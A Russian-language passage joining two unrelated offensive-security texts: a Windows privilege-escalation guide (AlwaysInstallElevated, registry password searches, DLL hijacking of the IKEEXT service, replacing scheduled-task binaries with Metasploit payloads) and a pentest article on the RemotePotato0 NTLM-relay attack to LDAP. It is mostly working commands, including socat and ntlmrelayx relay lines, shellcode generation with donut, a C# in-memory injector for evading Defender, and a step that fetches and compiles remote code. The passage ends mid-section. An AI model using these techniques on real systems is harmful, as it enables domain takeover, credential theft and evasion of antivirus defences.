Однако мы все любим автоматизированные решения, поэтому мы можем добраться до финиша как можно быстрее. Здесь есть два основных варианта, в зависимости от типа оболочки/доступа, который у нас есть. Существует модуль metasploit, который может быть выполнен через установленную сессию (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или Вы можете использовать Get-GPPPassword, который является частью PowerSploit.

Ладно, дальше. Будем искать странный параметр реестра „AlwaysInstallElevated“. Данный параметр разрешает непривилегированным пользователям устанавливать .msi файлы из-под NT AUTHORITY\SYSTEM.

Для того, чтобы иметь возможность использовать это, мы должны проверить, что оба раздела реестра установлены, и если это так, мы можем получить SYSTEM shell. Проверим:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения msi-файл прекращает установку, чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то даже не выведется ошибка.

Ну и немного полезных команд по поиску по системе:

Команда ниже будет искать в файловой системе имена файлов, содержащие определенные ключевые слова. Вы можете указать любое количество ключевых слов.

dir /s *pass* == *cred* == *vnc* == *.config*

Поиск определенных типов файлов по ключевому слову, эта команда может генерировать много выходных данных.

findstr /si password *.xml *.ini *.txt

Аналогично две команды ниже могут быть использованы для grep реестра по ключевым словам, в данном случае „password“.

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

На данный момент у нас уже есть достаточно, чтобы получить системный шел. Но есть еще пара направленbй атаки для получения желаемого результата: мы рассмотрим службы Windows и разрешения для файлов и папок. Наша цель здесь — использовать слабые разрешения для повышения привилегий сеанса.

Мы будем проверять много прав доступа, в этом нам поможет accesschk.exe, который является инструментом от Microsoft Sysinternals Suite. Microsoft Sysinternals содержит много отличных инструментов. Пакет можно загрузить с сайта Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Мы можем проверить необходимый уровень привилегий для каждой службы с помощью accesschk.

Мы можем видеть разрешения, которые имеет каждый уровень пользователя.

Accesschk может автоматически проверять, есть ли у нас доступ на запись к службе Windows с определенным уровнем пользователя. Как правило, как пользователь с низкими привилегиями, мы хотим проверить „Пользователей“. Удостоверьтесь, что проверили, к каким группам пользователей вы принадлежите.

-c В качестве имени указана служба Windows, например ssdpsrv (укажите “*” для вывода на экран всех служб)
-d Обрабатывать только каталоги
-e Выводить только явным образом заданные уровни целостности (только для ОС Windows Vista)
-k В качестве имени указан раздел реестра, например hklm\software
-n Выводить только объекты, не имеющие правил доступа
-p В качестве имени указано имя или идентификатор процесса (PID), например cmd.exe (укажите в качестве имени “*”, чтобы вывести на экран все процессы)
-q Опустить заголовок
-r Выводить только объекты, к которым есть право доступа на чтение
-s Рекурсивная обработка
-v Выводить подробную информацию
-w Выводить только объекты, к которым есть право доступа на запись

Также есть еще одна интересная команда:

autorunsc.exe -a | findstr /n /R "File\ not\ found"

Позволяет найти запись в реестре о файле, который запускался автоматически, но сейчас уже отсутствует в системе. Запись могла остаться, если например, сервис был неправильно удален. При каждом запуске система безуспешно пытается запустить этот файл. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Просто на место этого файла можно подставить наш.

Далее рассмотрим две уязвимости:

Первая: реплицируем результаты поста, написанного Parvez из GreyHatHacker; „Elevating privileges by exploiting weak folder permissions“ (http://www.greyhathacker.net/?p=738). 

Этот пример является частным случаем угона dll. Программы обычно не могут функционировать сами по себе, у них есть много ресурсов, которые им нужно подключить (в основном dll, но и собственные файлы). Если программа или служба загружает файл из каталога, к которому у нас есть доступ на запись, мы можем злоупотребить этим, чтобы запустить оболочку с привилегиями, под которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска, чтобы найти dll, и он будет проверять эти пути в определенном порядке. Dll угон обычно происходит путем размещения вредоносных dll по одному из этих путей. Эта проблема может быть устранена путем указания приложению абсолютных путей к необходимой dll.

Порядок поиска dll:

  1. Директория с которой запущено приложение
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. Действующая рабочая директория (CWD)
  6. Directories in the PATH environment variable (system then user)

Иногда приложения пытаются загрузить dll файлы, отсутствующие на машине. Это может произойти по нескольким причинам, например, если библиотека dll требуется только для определенных подключаемых модулей или компонентов, которые не установлены. В этом случае Parvez обнаружил, что некоторые службы Windows пытаются загрузить библиотеки dll, которые не существуют в установках по умолчанию.

Так как dll не существует, мы в конечном итоге прохождения всех путей поиска. Как пользователь с низким уровнем привилегий у нас немного шансов положить вредоносный dll в п. 1-4, 5. Но если у нас есть доступ на запись в любой из каталогов, то наши шансы на победу велики.

Давайте посмотрим, как это работает на практике, для нашего примера мы будем использовать IKEEXT (модули ключей IPSec IKE и AuthIP) сервис, который пытается загрузить wlbsctrl.dll.

Любой каталог в „C:\“ даст доступ на запись для аутентифицированных пользователей, это дает нам шанс.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"

C:\Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\user1\Desktop> icacls "C:\Python27"

C:\Python27 BUILTIN\Administrators:(ID)F
            BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITY\SYSTEM:(ID)F
            NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
            BUILTIN\Users:(OI)(CI)(ID)R
            NT AUTHORITY\Authenticated Users:(ID)C
            NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

F — полный доступ.
(OI) — наследование объектами.
(CI) — наследование контейнерами.
(IO) — только наследование.
(NP) — запрет на распространение наследования.
(I)- наследование разрешений от родительского контейнера.

Прежде чем перейти к действию, необходимо проверить состояние службы IKEEXT. В этом случае мы можем увидеть, что он установлен на „AUTO_START“!

sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE			: 20  WIN32_SHARE_PROCESS
        START_TYPE		: 2   AUTO_START
        ERROR_CONTROL		: 1   NORMAL
        BINARY_PATH_NAME		: C:\Windows\system32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP		:
        TAG			: 0
        DISPLAY_NAME		: IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES		: BFE
        SERVICE_START_NAME	: LocalSystem

Теперь мы знаем, что у нас есть необходимые условия, и мы можем создать вредоносную dll и перехвата оболочки!

Используем Metasploit -> msfvenom, это например.

После передачи evil.dll на наш целевой компьютер все, что нам нужно сделать, это переименовать его в wlbsctrl.dll и переместить в „C:\Python27“. Как только это будет сделано, нам нужно терпеливо ждать перезагрузки машины (или мы можем попытаться принудительно перезагрузить), и мы получим системную оболочку.

copy evil.dll C:\Python27\wlbsctrl.dll

После этого осталось только дождаться перезагрузки системы. 

Для нашего последнего примера мы рассмотрим запланированные задачи. Опишу принцип, т.к. у всех могут быть разные случаи.

Находим процесс, службу, приложение запускаемое планировщиком задач от SYSTEM.
Проверяем права доступа на папку, где находится наша цель.

accesschk.exe -dqv "путь_к_цели"

Ясно, что это серьезная проблема конфигурации, но еще хуже тот факт, что любой прошедший проверку Пользователь (аутентифицированный пользователь) имеет доступ на запись в эту папку. В этом примере мы можем просто перезаписать двоичный исполняемый файл файлом, сгенерированным в metasploit.

Можно закодировать дополнительно.

Теперь остается только загрузить вредоносный исполняемый файл и перезаписать его в папку выполняемого файла. Как только это будет сделано, мы можем спокойно идти спать и рано с утра получить системный шел.

Эти два примера должны дать нам представление об уязвимостях, которые необходимо искать при рассмотрении разрешений для файлов и папок. Потребуется время, чтобы изучить все пути binpath для служб windows, запланированные задачи и задачи автозапуска.

Напоследок пара советов по использованию accesschk.exe.

Найти все слабые разрешения для папок на диске.

accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

Найти все слабые разрешения для файлов на диске.

accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

Вроде всё.

Эта история относится к категории «байки с внутренних пентестов», когда мы попали в среду Active Directory, где члены группы безопасности Domain Users (все пользователи домена) обладали привилегией для удаленного подключения к контроллерам домена по протоколу RDP. Хоть это уже само по себе ужасная «мисконфига», потенциальный злоумышленник все еще должен найти способ для локального повышения привилегий на DC, что проблематично, если на системе стоят все хотфиксы. Здесь и приходит на помощью баг фича из серии Microsoft Won’t Fix List – кросс-сессионное провоцирование вынужденной аутентификации по протоколу RPC – которая при отсуствии защиты службы LDAP от атак NTLM Relay мгновенно подарит тебе «ключи от Королевства». В этой статье мы поговорим о различных вариациях проведения данной атаки с использованием эксплоита RemotePotato0, а также на этом примере обсудим, как можно спрятать сигнатуру исполняемого файла от статического анализа.

hackmag-badge.svg
xakep-badge.svg
xss-badge.svg

WARNING

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

banner.png

  • Предыстория
  • Немного о «картошках»
    • RottenPotato & Co.
    • RoguePotato
  • RemotePotato0
    • Введение
    • Как работает и когда использовать
    • Сферические примеры в вакууме
  • Боевая практика
    • Уклоняемся от AV
    • ngrok + socat = 💕
  • Бонус № 1. Релей на AD CS (ESC8)
  • Бонус № 2. Remote Potato без RemotePotato0.exe

Предыстория

Итак, внутренний пентест. Все по классике: только я, мой ноутбук,капюшон с маской Гая Фокса, переговорка, скоммутированная розетка RJ-45 и просторы корпоративной сети жертвы аудита. Отсутствие правил фильтрации IPv6 в моем широковещательном домене – в роли уязвимости, отравленные пакеты DHCPv6 Advertise с link-local IPv6-адресом моего ноутбука (mitm6) – в роли атаки, и вот получен первоначальный аутентифицированный доступ в среду AD. Далее сбор дампа «блада» с помощью BloodHound.py, пока все по классике. Но вот то, что было дальше, ПОВЕРГЛО ВСЕХ В ШОК (ПЕРЕЙДИ ПО ССЫЛКЕ ДЛЯ ПРОДОЛЖЕНИЯ)…

Шучу, всего лишь все доменные «пользаки» могут коннектиться к контроллерам домена по RDP, что может пойти не так?

Найди уязвимость на картинке

Найди уязвимость на картинке

На самом деле, уже в этот момент можно начинать потирать руки в предвкушении кредов доменадмина. Убедимся, что мы можем релеить Net-NTLMv2 аутентификацию на службы LDAP(S) с помощью LdapRelayScan.

~$ python3 LdapRelayScan.py -method BOTH -dc-ip <REDACTED> -u <REDACTED> -p <REDACTED>

PARTY TIME!

PARTY TIME!

Неудивительно, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отключены – еще мало кто осознал, что это «мастхэв»-mitigations АД в наше время.

А теперь по порядку, что со всем этим можно сделать…

Немного о «картошках»

RottenPotato & Co.

В далеком 2016 г. умные люди придумали RottenPotato – технику локального повышения привилегий с сервисных аккаунтов Windows (например, IIS APPPOOL\DefaultAppPool или NT Service\MSSQL$SQLEXPRESS), обладающих привилегей олицетворения чужих токенов безопасности (aka SeImpersonatePrivilege), до NT AUTHORITY\SYSTEM.

Для этого атакующий должен был:

  1. Спровоцировать вынужденную аутентификацию со стороны NT AUTHORITY\SYSTEM на машине-жертве через триггер API-ручки DCOM/RPC CoGetInstanceFromIStorage в отношении локального слушателя (выступает в роли «человека посередине»).
  2. Одновременно провести локальную атаку NTLM Relay на службу RPC (135/TCP) и дернуть API-вызов DCOM/RPC AcceptSecurityContext, передавая ему содержимое NTLM-части запроса Negotiate (NTLM Type 1) от NT AUTHORITY\SYSTEM.
  3. Подменить NTLM-челлендж (NTLM Type 2), исходящий от службы RPC (135/TCP), на челлендж, полученный из ответа AcceptSecurityContext, и продолжить изначальный релей на RPC из шага 1. В данном контексте NTLM-ответ службы RPC (135/TCP) используется просто как шаблон сетевого ответа, в который мы инжектим нужное нам тело NTLM-челленджа.
  4. После успешного получения NTLM-аутентификации (NTLM Type 3) клиента RPC из шага 1 в ответ на NTLM-челлендж (NTLM Type 2) из шага 3 зарелеить ее на RPC-ручку AcceptSecurityContext и получить токен системы. На этом NTLM Relay окончен.
  5. Имперсонировать (олицетворить) NT AUTHORITY\SYSTEM. Мы можем это сделать в силу наличия у нас привилегии SeImpersonatePrivilege.

Механизм работы RottenPotato (изображение – jlajara.gitlab.io)

Механизм работы RottenPotato (изображение – jlajara.gitlab.io)

Некоторое время спустя лавочку прикрыли, запретив DCOM/RPC общаться с локальными слушателями – никаких тебе больше МитМ-ов. Но «картошки» все равно претерпевали изменения: были напилены LonelyPotato (неактуально) и JuicyPotato – улучшенная версия RottenPotato, умеющая работать с разными значениями CLSID (Class ID, идентификатор COM-класса) для «арбузинга» других служб (помимо BITS, которую использовала оригинальная «картошка»), в которых реализован интерфейс IMarshal для триггера NTLM-аутентификации.

В данном случае процесс провоцирования NTLM-аутентификации в своей основе имеет схожей принцип с вредоносной десериализацией объектов, только здесь это называется «анмаршалинг» – процесс восстановления COM-объекта из последовательности бит после его передачи в целевой метод в качестве аргумента.

Атакующий создает вредоносный COM-объект класса IStorage и вызывает API CoGetInstanceFromIStorage с указанием создать объект класса с конкретным идентификатором CLSID и инициализировать его состоянием из маршализированного вредоносного объекта. Одно из полей маршализированного объекта содержит указатель на подконтрольный атакующему слушатель, на который автоматически приходит отстук с NTLM-аутентификацией в процессе анмаршалинга.

public static void BootstrapComMarshal(int port)
{
    IStorage stg = ComUtils.CreateStorage();

    // Use a known local system service COM server, in this cast BITSv1
    Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

    TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));

    MULTI_QI[] qis = new MULTI_QI[1];

    qis[0].pIID = ComUtils.IID_IUnknownPtr;
    qis[0].pItf = null;
    qis[0].hr = 0;

    CoGetInstanceFromIStorage(null, ref clsid,
        null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}

Подробнее о механизме триггера NTLM-аутентификации в ходе абьюза DCOM/RPC можно почитать в первом репорте на эту тему: https://bugs.chromium.org/p/project-zero/issues/detail?id=325.

RoguePotato

С релизом RoguePotato – эволюционировавшей версией JuicyPotato – был продемонстрирован альтернативный подход к олицетворению привилегированных системных токенов:

  1. Злоумышленник поднимает кастомный сервис OXID (Object Exporter ID) Resolver на локальном порту атакуемой машины, отличном от 135/TCP. OXID-резолвер используется в Windows для разрешения идентификатора вызываемого интерфейса RPC (в нашем случае подконтрольного аттакеру) в его имя, т. е. в строку RPC-биндинга.
  2. Злоумышленник говорит службе DCOM/RPC машины-жертвы постучаться на удаленный IP-адрес (контролируется атакующим) для резолва той самой OXID-записи. Это необходимо в силу того, что Microsoft запретили обращение к локальным OXID-резолверам, слушающим НЕ на порту 135/TCP.
  3. На том самом удаленном IP-адресе злоумышленник поднимает socat (или любой другой TCP-редиректор) на порту 135/TCP и «зеркалит» пришедший OXID-запрос на атакуемую машину в порт, на котором слушает кастомный сервис OXID Resolver из шага 1. Последний резолвит предоставленный идентификатор в стрингу RPC-биндинга именнованного канала ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper].
  4. Далее машина-жертва наконец-то делает вредоносный RPC-вызов (API-ручка IRemUnkown2) с подключением к подконтрольному атакующему пайпу из шага 3, что позволяет нам олицетворить подключившегося клиента с помощью RpcImpersonateClient, как это описал @itm4n в судьбоносном ресерче PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019.

Механизм работы RoguePotato (изображение – jlajara.gitlab.io)

Механизм работы RoguePotato (изображение – jlajara.gitlab.io)

С базовой теорией закончили.

Хороший тамлайн с кратким описанием всех «картошек» можно найти в этой статье: https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html.

RemotePotato0

Введение

RemotePotato0 – успешный результат попытки расширить область применения RoguePotato для проведения атак на доменные учетные записи.

Работает это дело примерно так же, как и RoguePotato, за исключением того, что теперь мы используем другие службы (с другими значениями CLSID) для триггера NTLM-аутентификации от имени пользователей, сессии которых существуют на атакуемой машине одновременно с нашей. Первоначальный вариант эксплоита работал только при условии действия атакующего из так называемого «нулевого сеанса».

Session 0 Isolation – концепция разделения сессий пользователей от сессий системных служб и неинтерактивных приложений. Начиная с Windows Vista, все пользователя, подключаясь на машину удаленно по протоколу RDP, проваливаются в свою сессию, откуда не могут взаимодействовать с процессами, запущенными в других сессиях, если не обладают правами локального администратора. Однако, если «пользюк» подключен через службу WinRM (Windows Remote Management, 5985-5986/TCP) или SSH, то он проваливается непосредственно в нулевой сеанс, т. к. сами вышеуказанные службы существуют именно там.

Наглядный пример: пользователь TINYCORP\j.doe в моей лабе не имеет прав локаладмина на сервере TEXAS, поэтому не может видеть запущенных от имени администратора процессов Google Chrome, будучи подключенным по RDP. Однако, если открыть диспетчер задач с правами администратора, эти процессы будут отображены.

Запуск диспетчера задач с разными правами

Запуск диспетчера задач с разными правами

С другой стороны, если я включу этого пользователя в локальную группу Remote Management Users на этом сервере и подключусь к нему с помощью Evil-WinRM, я окажусь в контексте Session 0, по-прежнему не обладая правами локаладмина.

Внутри нулевого сеанса по WinRM

Внутри нулевого сеанса по WinRM

Это не означает, что я теперь могу делать с процессами в других сессиях все, что захочу, однако открывает интересные возможности в контексте взаимодействия с ними через DCOM/RPC.

То есть в ситуации, когда у нас есть пользователь с правами подключения к серверам в контексте нулевого сеанса посредством WinRM и/или SSH (т. е. входящий в группу Remote Management Users), но не обладающий правами локального администратора (в противном случае мы можем просто сдампить LSASS для получения нужных кред), можно было использовать трюк с RemotePotato0 при условии существования на атакуемом сервере сессий привилегированных пользователей. По словам автора эксплоита в этом случае при триггере NTLM-аутентификации через определенный CLSID мы сможем угнать контекст сессии с наименьшим значением ее идентификатора:

“If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id)”, источник – https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/

Понятно, что при таком раскладе область применимости RemotePotato0 была не очень широкой, поэтому хайпа вокруг этого метода было немного.

Спустя некоторое время на всеобщую радость эксплоит обновился и стал поддерживать функционал кросс-сессионного триггера NTLM-аутентификации: это означает, что действуя даже в рамках сессии № 1 из RDP, мы можем дернуть привилегированный контекст администратора, также залогиненного в RDP, но в сессии № 2.

И вот это уже было прям пушкой!

Как работает и когда использовать

Перед переходом к практике суммируем наши знания о RemotePotato0.

Условия применимости атаки, или чем нам нужно обладать:

  1. Скомпрометированная доменная УЗ, имеющая привилегии подключения к удаленному серверу по протоколу RDP, где потенциально могут тусить привилегированные пользователи. На самом деле, это условие встречается практически везде, т. к. везде есть терминальники, куда время от времени заглядывают доменадмины.
  2. Подконтрольный атакующему хост в интранете, имеющий сетевую связанность по порту 135/TCP с атакуемым сервером (от этого условия мы избавимся далее).
  3. Незащищенный эндпоинт с доменной аутентификацией, куда можно релеить Net-NTLMv2 аутентификацию, прилетевшую на наш HTTP-сервер. Идеальный вариант – службы LDAP(S) или стандартное веб-приложение корпоратвного центра сертификации Microsoft AD CS.
  4. Возможность исполнения эксплоита RemotePotato0 на атакуемом сервере в обход средств антивирусной защиты.

Как работает атака:

  1. Действуя из сессии непривилегированного пользователя, подключенного по RDP к серверу, где есть сессия привилегированного (или любого другого интересующего нас) доменного пользователя, атакующий триггерит NTLM-аутентификацию от имени жертвы через анмаршалинг вредоносного объекта COM-класса IStorage посредством передачи его в качестве аргумента в API-ручку CoGetInstanceFromIStorage. В вредоносном объекте живет IP-адрес и порт подконтрольного атакующему сетевого узла, куда позже прилетит NTLM-аутентификация.
  2. На своем сервере атакующий зеркалит трафло, пришедшее на 135/TCP порт, обратно на атакуемую машину в порт, где уже поднят фейковый OXID-резолвер, который отдает запросу DCOM нужный RPC-биндинг.
  3. Частично повторяется шаг 4 из описания работы RoguePotato: вызов IRemUnknown2::RemRelease в отношении локального RPC-сервера, инкапсуляция RPC-запроса с NTLM-аутентификацией в HTTP и перенаправление его на наш HTTP-сервер. Последний уже поднят на машине атакующего в виде инстанса ntlmrelayx.py.
  4. Проведение кросс-протокольной атаки NTLM Relay на незащищенный эндпоинт с доменной аутентификацией. В этом случае атакующий может добавить подконтрольного ему доменного пользователя в привилегированные доменные группы безопасности, настроить ограниченное делегировании на основе ресурсов RBCD Abuse для критических доменных ресурсов или использовать любой другой поддерживаемый вектор атаки ntlmrelayx.py.

Механизм работы RemotePotato0 (изображение – www.sentinelone.com)

Механизм работы RemotePotato0 (изображение – www.sentinelone.com)

Перейдем к практике.

Сферические примеры в вакууме

Прежде чем говорить об уклонении от AV и других «улучшалках», посмотрим на атаку при отключенных средствах защиты, чтобы понимать, какого результата нам ожидать.

Я загружу свежий релиз RemotePotato0 и распакую его прямо на целевом сервере.

PS > curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip -o RemotePotato0.zip
PS > Expand-Archive .\RemotePotato0.zip -DestinationPath .
PS > ls .\RemotePotato0*
PS > .\RemotePotato0.exe

Загрузка и распаковка RemotePotato0

Загрузка и распаковка RemotePotato0

Как можно видеть из help-а, в нашем распоряжении несколько режимов атаки: можно либо отправить аутентификацию на relay-сервер для ее перенаправления на другой эндпоинт (режим 0, по умолчанию), либо получить значение хеша Net-NTLMv2 для его офлайн-перебора (режим 2). Режимы 1 и 3 предназначены для триггера NTLM-аутентификации вручную, без «картошки», поэтому нам это не очень интересно.

Для разминки сперва попробуем режим 2:

  • -m – режим атаки,
  • -x – IP-адрес TCP-редиректора, который отзеркалит OXID-резолв обратно на машину-жертву на порт, указанный в опции -p (если бы я использовал Windows Server 2012, можно было бы обойтись без этой опции, т. к. на нем нет фиксов по запрету резолва OXID-запросов через нестандартные порты),
  • -p – порт фейкового локального OXID-резолвера, куда будет отзеркален OXID-запрос машиной атакующего,
  • -s – номер сессии пользователя, которого мы хотим олицетворить.
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<VICTIM_IP>:9998
PS > .\RemotePotato0.exe -m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>

Запуск RemotePotato0 в режиме сбора хешей

Запуск RemotePotato0 в режиме сбора хешей

Как видим, мы успешно получили значение хеша Net-NTLMv2, который теперь можно спокойно брутить в офлайне (режим 5600 hashcat тебе в помощь). Это полноценная замена атаки Internal Monologue, не требующая к тому же прав локального администратора.

Теперь перейдем к релею на LDAP. Опции те же самые, только добавим флаг -r, задающий IP-адрес HTTP-сервера атакующего, который проведет NTLM Relay.

~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<VICTIM_IP>:9998
~$ sudo ntlmrelayx.py -t ldap://<DC_IP> --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
PS > .\RemotePotato0.exe -m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>

Запуск RemotePotato0 в режиме релея

Запуск RemotePotato0 в режиме релея

Вжух, и одной командой мы энтЫрпрайз одмены.

Боевая практика

Это все, конечно, здорово, но совсем не жизненно.

Усложним задачу: нужно провести ту же атаку при активном дефендере и не обладая вспомогательной машиной на Linux, на которой поднимается TCP-редиректор (допустим, мы проломили внешний периметр и оказались внутри корпоративной инфраструктуры с сессией Cobalt Strike).

Уклоняемся от AV

Судя по моему опыту, большинство аверов детектят RemotePotato0.exe, основываясь исключительно на сигнатурном анализе:

rule SentinelOne_RemotePotato0_privesc {
    meta:
        author = "SentinelOne"
        description = "Detects RemotePotato0 binary"
        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
        
    strings:
        $import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
        
    condition:       
        (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Есть несколько возможных решений этой проблемы:

  1. Упаковать RemotePotato0.exe с помощью какого-нибудь архиватора/энкодера/шифратора.
  2. Выдернуть шеллкод из исполняемого файла и внедрить его в процесс из памяти.

На самом деле, второй способ – это overkill, потому что против Windows Defender работает даже упаковка UPX-ом.

Defender Advanced (ага да) Evasion UPX-упаковкой

Defender Advanced (ага да) Evasion UPX-упаковкой

Но мы можем лучше: второй способ не потребует даже загрузки исполняемого файла эксплоита на диск, поэтому реализуем это.

В одной из прошлых статей мы говорили о бесшумном внедрении шеллкода в память удаленных процессов с помощью механизма D/Invoke: https://xakep.ru/2022/03/31/keethief/

Помимо D/Invoke существует еще один интересный способ обфускации вызовов Win32 API при трейдкрафте на C#. Он освещен в этой статье – Unmanaged Code Execution with .NET Dynamic PInvoke.

Суть проста: в C# существует нативный механизм System.Reflection.Emit, позволяющий «на лету» создавать сборки .NET и исполнять их с помощью механизма Reflection.Assembly из памяти прямо в рантайме. Используя этот механизм, мы можем так же «на лету» строить обертки для вызовов Win32 API, не прибегая к статическим декларациям P/Invoke.

Пример определения функции CreateThread, дергающей одноименную ручку API из kernel32.dll:

class DPInvoke
{
    static object DynamicPInvokeBuilder(Type type, string library, string method, object[] parameters, Type[] parameterTypes)
    {
        AssemblyName assemblyName = new AssemblyName("Temp01");
        AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
        ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");

        MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, parameterTypes, CallingConvention.Winapi, CharSet.Ansi);

        methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
        moduleBuilder.CreateGlobalFunctions();

        MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
        object result = dynamicMethod.Invoke(null, parameters);

        return result;
    }

    public static IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)
    {
        Type[] parameterTypes = { typeof(IntPtr), typeof(uint), typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) };
        object[] parameters = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
        var result = (IntPtr)DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "CreateThread", parameters, parameterTypes);
        return result;
    }
}

На основе примеров из статьи выше я напилил шаблон для автоматизации создания self-инжекторов. Шеллкоды генерируются из PE-файлов с помощью этого форка проекта donut.

Для компиляции .NET потребуется машина с Visual Studio.

~$ wget -q https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip
~$ unzip RemotePotato0.zip
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin
PS > $binaryName = "RemotePotato0"
PS > $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\${binaryName}.bin")
PS > [System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
PS > $dStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
PS > $dStream.Write($bytes, 0, $bytes.Length)
PS > $dStream.Dispose()
PS > $outBytes = $outStream.ToArray()
PS > $outStream.Dispose()
PS > $b64Compressed = [System.Convert]::ToBase64String($outBytes)
PS > $template = (New-Object Net.WebClient).DownloadString("https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37/raw/881ec72c7c310bc07af017656a47d0c659fab4f6/template.cs") -creplace 'DONUT', $b64Compressed
PS > $template -creplace 'NAMESPACE', "${binaryName}Inject" > ${binaryName}Inject.cs
PS > csc /t:exe /platform:x64 /out:${binaryName}Inject.exe ${binaryName}Inject.cs
PS > rm ${binaryName}Inject.cs

Компиляция self-инжектора

Компиляция self-инжектора

Протестим его в следующем разделе, когда решим проблему с TCP-редиректором.

ngrok + socat = 💕

Допустим, мы получили «маячок» CS на уязвимом для атаки сервере, но у нас нет другого ресурса во внутренней сети жертвы, чтобы использовать его как зеркало для OXID-запросов.

Для имитации этой ситуации я врубил обратно дефендёр и воспользовался своим волшебным инжектором с позаимствованной у @_RastaMouse техникой Module Stomping и получил сессию «кобы».

Ничего подозрительного

Ничего подозрительного

You've poped a shell!

You’ve poped a shell!

Теперь немного pivoting-а: отсутствие вспомогательной машины я компенсирую тем, что подниму TCP-инстанс ngrok, который даст белый эндпоинт для общения с машиной атакующего (которая находится за пределами внутренней сети).

ngrok слушает на 136/TCP

ngrok слушает на 136/TCP

